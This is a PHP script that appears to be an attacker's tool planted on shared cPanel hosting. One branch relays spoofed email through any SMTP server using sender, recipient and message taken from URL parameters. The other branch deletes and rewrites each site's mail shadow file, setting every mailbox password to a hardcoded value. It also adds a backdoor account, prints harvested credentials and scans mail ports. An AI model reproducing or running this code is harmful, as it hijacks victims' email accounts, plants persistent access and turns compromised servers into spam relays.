<?php

if(isset($_GET["from"]) != ""){
if(isset($_GET["from"])){
    $from = $_GET["from"];
}
if(isset($_GET["to"])){
    $to = $_GET["to"];
}
if(isset($_GET["server"])){
    $host = $_GET["server"];
}
if(isset($_GET["port"])){
    $port = $_GET["port"];
}
if(isset($_GET["message"])){
    $message = $_GET["message"];
}
if(isset($_GET["message"])){
    $sub = $_GET["sub"];
}

// Function to read the server response
function get_response($fp) {
    $response = '';
    while ($str = fgets($fp, 515)) {
        $response .= $str;
        if (substr($str, 3, 1) == ' ') {
            break;
        }
    }
    return $response;
}

// Function to send a command to the server and get the response
function send_command($fp, $command) {
    fputs($fp, $command . "\r\n");
    echo "CLIENT: $command";
    return get_response($fp);
}

// Open a socket connection to the SMTP server
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if (!$fp) {
    echo "Unable to connect to SMTP server: $errstr ($errno)\n";
    exit;
}

// Read initial server response
echo "SERVER: " . get_response($fp);
$x = explode("@", $from);
$x1 = $x[1];
echo "SERVER: " . send_command($fp, "helo " . gethostname());
echo "SERVER: " . send_command($fp, "MAIL FROM:<$from>");
echo "SERVER: " . send_command($fp, "RCPT TO:<$to>");
echo "SERVER: " . send_command($fp, "DATA");

// Prepare the email content
$email_content = "From: <$from>\r\n";
$email_content .= "To: <$to>\r\n";
$email_content .= "Subject: $sub\r\n\r\n\r\n";
$email_content .= "$message\r\n";
$email_content .= ".\r\n";

// Send email content
echo "CLIENT: $email_content\n";
fputs($fp, $email_content);
echo "SERVER: " . get_response($fp);
echo "SERVER: " . send_command($fp, "QUIT");
fclose($fp);
}else{
 set_time_limit(0);
ini_set('max_execution_time',0);
ini_set('memory_limit',-1);
// port to scan
$ports=array(25, 587, 465, 110, 995, 143 , 993);
$primary_port='587';
//curent user
$user=get_current_user();
// Smtp password
$password='@Darkbrain90';
//crypt
$pwd = crypt($password,'$6$nb34m5bf$');
// host name
 $t = $_SERVER['SERVER_NAME'];
//edit
 $t = @str_replace("www.","",$t);

// New email and password
$new_email = "panava";
$new_password = '@Darkbrain90';
$new_pwd = crypt($new_password,'$6$new_password$');

$dirs = glob('/home/'.$user.'/etc/*', GLOB_ONLYDIR);
foreach($dirs as $dir){
$ex = explode("/",$dir);
$site =  $ex[count($ex)-1];


 //get users
 
//@$passwd = file_get_contents('/home/'.$user.'/etc/'.$site.'/shadow');
//edit
$ex=explode("\r\n",$passwd);
//backup shadow
@link('/home/'.$user.'/etc/'.$site.'/shadow','/home/'.$user.'/etc/'.$site.'/shadow.nb34m5bf.bak');
//delete shadow
@unlink('/home/'.$user.'/etc/'.$site.'/shadow');
// :D
foreach($ex as $ex){
$ex=explode(':',$ex);
$e= $ex[0];
if ($e){
$b=fopen('/home/'.$user.'/etc/'.$site.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
echo $site.'|25|'.$e.'@'.$site.'|'.$password."\n";

}}

// Add new email and password
$b=fopen('/home/'.$user.'/etc/'.$site.'/shadow','ab');
fwrite($b,$new_email.':'.$new_pwd.':16249:::::'."\r\n");
fclose($b);
echo $site.'|587|'.$new_email.'@'.$site.'|'.$new_password."\n";

//port scan
foreach ($ports as $port)
{
    $connection = @fsockopen($site, $port, $errno, $errstr, 2);
    if (is_resource($connection))
    {
        fclose($connection);
    }
}
}
}
/*
if(isset($_GET["from"])){
$from = $_GET["from"];
}
if(isset($_GET["to"])){
$to = $_GET["to"];
}
if(isset($_GET["server"])){
$host = $_GET["server"];
}
if(isset($_GET["port"])){
$port = $_GET["port"];
}
if(isset($_GET["message"])){
$message = $_GET["message"];
}


// Open a socket connection to the SMTP server
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if (!$fp) {
    echo "Unable to connect to SMTP server: $errstr ($errno)\n";
    exit;
}

// Function to read the server response
function get_response($fp) {
    $response = '';
    while ($str = fgets($fp, 515)) {
        $response .= $str;
        if (substr($str, 3, 1) == ' ') {
            break;
        }
    }
    return $response;
}

// Function to send a command to the server and get the response
function send_command($fp, $command) {
    fputs($fp, $command . "\r\n");
    echo "CLIENT: $command";
    return get_response($fp);
}

// Read initial server response
echo "SERVER: " . get_response($fp);
$x = explode("@",$from);
$x1 = $x[1];
echo "SERVER: " . send_command($fp, "helo ".gethostname());
echo "SERVER: " . send_command($fp, "MAIL FROM:<$from>");
echo "SERVER: " . send_command($fp, "RCPT TO:<$to>");
echo "SERVER: " . send_command($fp, "DATA");

// Prepare the email content with the multimedia attachment
$boundary = "----=_Part_" . md5(uniqid());

$email_content = "From: <$from>\r\n";
$email_content .= "To: <$to>\r\n";
$email_content .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n\r\n";
$email_content .= "--$boundary\r\n\r\n\r\n";
$email_content .= "--$boundary\r\n";
$email_content .= "Content-Disposition: form-data; name=\"name\"\r\n\r\n";
$email_content .= "$message \r\n";
$email_content .= "--$boundary--\r\n";
$email_content .= ".\r\n";

// Send email content
echo "CLIENT: $email_content\n";
fputs($fp, $email_content);
echo "SERVER: " . get_response($fp);
echo "SERVER: " . send_command($fp, "QUIT");
fclose($fp);
*/
?>